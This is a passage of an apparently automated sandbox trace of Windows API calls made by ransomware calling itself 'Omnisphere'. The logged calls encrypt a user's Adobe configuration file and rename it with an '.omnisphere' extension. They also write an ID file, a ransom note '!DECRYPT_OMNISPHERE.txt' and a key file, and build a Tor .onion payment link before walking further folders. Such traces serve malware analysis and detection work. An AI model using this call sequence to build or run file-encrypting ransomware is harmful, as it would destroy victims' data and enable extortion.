0x11546f8 [0080.911] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] GetTickCount () returned 0x11546f8 [0080.912] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1669230) returned 1 [0080.913] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16395e8) returned 1 [0080.913] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0080.913] CryptDestroyKey (hKey=0x16395e8) returned 1 [0080.913] CryptReleaseContext (hProv=0x1669230, dwFlags=0x0) returned 1 [0080.913] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd8, lpName=0x0) returned 0x3a4 [0080.913] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd8) returned 0x3430000 [0081.010] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668708) returned 1 [0081.011] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x1639568) returned 1 [0081.011] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0081.011] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0081.011] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.011] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.012] CryptDestroyKey (hKey=0x1639568) returned 1 [0081.012] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0081.012] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0081.012] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0081.013] GetProcessHeap () returned 0x1600000 [0081.013] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2aa) returned 0x167c730 [0081.013] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.omnisphere")) returned 1 [0081.014] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.omnisphere.id" [0081.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\logtransport2.cfg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0081.016] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0081.017] CloseHandle (hObject=0x3a8) returned 1 [0081.022] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0081.022] CloseHandle (hObject=0x3a4) returned 1 [0081.022] SetEndOfFile (hFile=0x3a0) returned 1 [0081.022] FlushFileBuffers (hFile=0x3a0) returned 1 [0081.181] CloseHandle (hObject=0x3a0) returned 1 [0081.181] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\LogTransport2.cfg" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2") returned 1 [0081.181] GetProcessHeap () returned 0x1600000 [0081.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x167c9e8 [0081.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.181] GetProcessHeap () returned 0x1600000 [0081.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f440 [0081.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f440, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0081.181] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0081.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.181] GetProcessHeap () returned 0x1600000 [0081.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f5d0 [0081.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f5d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0081.181] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0081.181] GetProcessHeap () returned 0x1600000 [0081.181] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162df48 [0081.182] PathCombineW (in: pszDest=0x162df48, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\!DECRYPT_OMNISPHERE.txt" [0081.182] GetProcessHeap () returned 0x1600000 [0081.182] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1666f80 [0081.182] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0081.182] WriteFile (in: hFile=0x3a0, lpBuffer=0x1666f80*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x1666f80*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0081.183] CloseHandle (hObject=0x3a0) returned 1 [0081.184] GetProcessHeap () returned 0x1600000 [0081.184] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c9e8 | out: hHeap=0x1600000) returned 1 [0081.184] GetProcessHeap () returned 0x1600000 [0081.184] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x165e058 [0081.184] PathCombineW (in: pszDest=0x165e058, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\unique_decrypt.key" [0081.184] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\logtransport2\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0081.184] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0081.185] CloseHandle (hObject=0x3a0) returned 1 [0081.185] GetProcessHeap () returned 0x1600000 [0081.185] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e058 | out: hHeap=0x1600000) returned 1 [0081.185] GetProcessHeap () returned 0x1600000 [0081.186] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165ead8 | out: hHeap=0x1600000) returned 1 [0081.186] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x658d53ae, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x0, dwReserved1=0xdf, cFileName="LogTransport2.cfg", cAlternateFileName="LOGTRA~1.CFG")) returned 0 [0081.186] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0081.186] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x117d4077, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x117d4077, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0081.186] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715ca081, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x117d4077, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x117d4077, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.186] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117d4077, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x117d4077, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x117d4077, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0081.186] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0081.186] GetProcessHeap () returned 0x1600000 [0081.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x16688a0 [0081.186] PathCombineW (in: pszDest=0x16688a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2", pszFile="Logs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs" [0081.186] GetProcessHeap () returned 0x1600000 [0081.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x16337f8 [0081.186] PathCombineW (in: pszDest=0x16337f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*" [0081.186] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0081.187] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName="..", cAlternateFileName="")) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd1, cFileName="..", cAlternateFileName="")) returned 0 [0081.187] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0081.187] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\LogTransport2\\Logs\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0081.187] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7894b39b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x6606ebca, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x6606ebca, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0081.187] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0081.187] GetProcessHeap () returned 0x1600000 [0081.187] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16337f8 | out: hHeap=0x1600000) returned 1 [0081.187] GetProcessHeap () returned 0x1600000 [0081.187] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16688a0 | out: hHeap=0x1600000) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78917ee8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x78917ee8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x116307d2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg.omnisphere", cAlternateFileName="LOGTRA~1.OMN")) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x116307d2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x116307d2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x116307d2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="LogTransport2.cfg.omnisphere.id", cAlternateFileName="LOGTRA~1.ID")) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117d4077, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x117d4077, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x117d4077, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0081.187] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x117d4077, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x117d4077, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x117d4077, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0081.188] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0081.188] GetProcessHeap () returned 0x1600000 [0081.188] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16689b0 | out: hHeap=0x1600000) returned 1 [0081.188] GetProcessHeap () returned 0x1600000 [0081.188] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f800 | out: hHeap=0x1600000) returned 1 [0081.188] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7983c6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b7983c6, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sonar", cAlternateFileName="")) returned 1 [0081.188] GetProcessHeap () returned 0x1600000 [0081.188] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a3b0 [0081.188] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe", pszFile="Sonar" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar" [0081.188] GetProcessHeap () returned 0x1600000 [0081.188] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x161d0c0 [0081.188] PathCombineW (in: pszDest=0x161d0c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*" [0081.188] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Sonar\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b7983c6, ftCreationTime.dwHighDateTime=0x1d327c9, 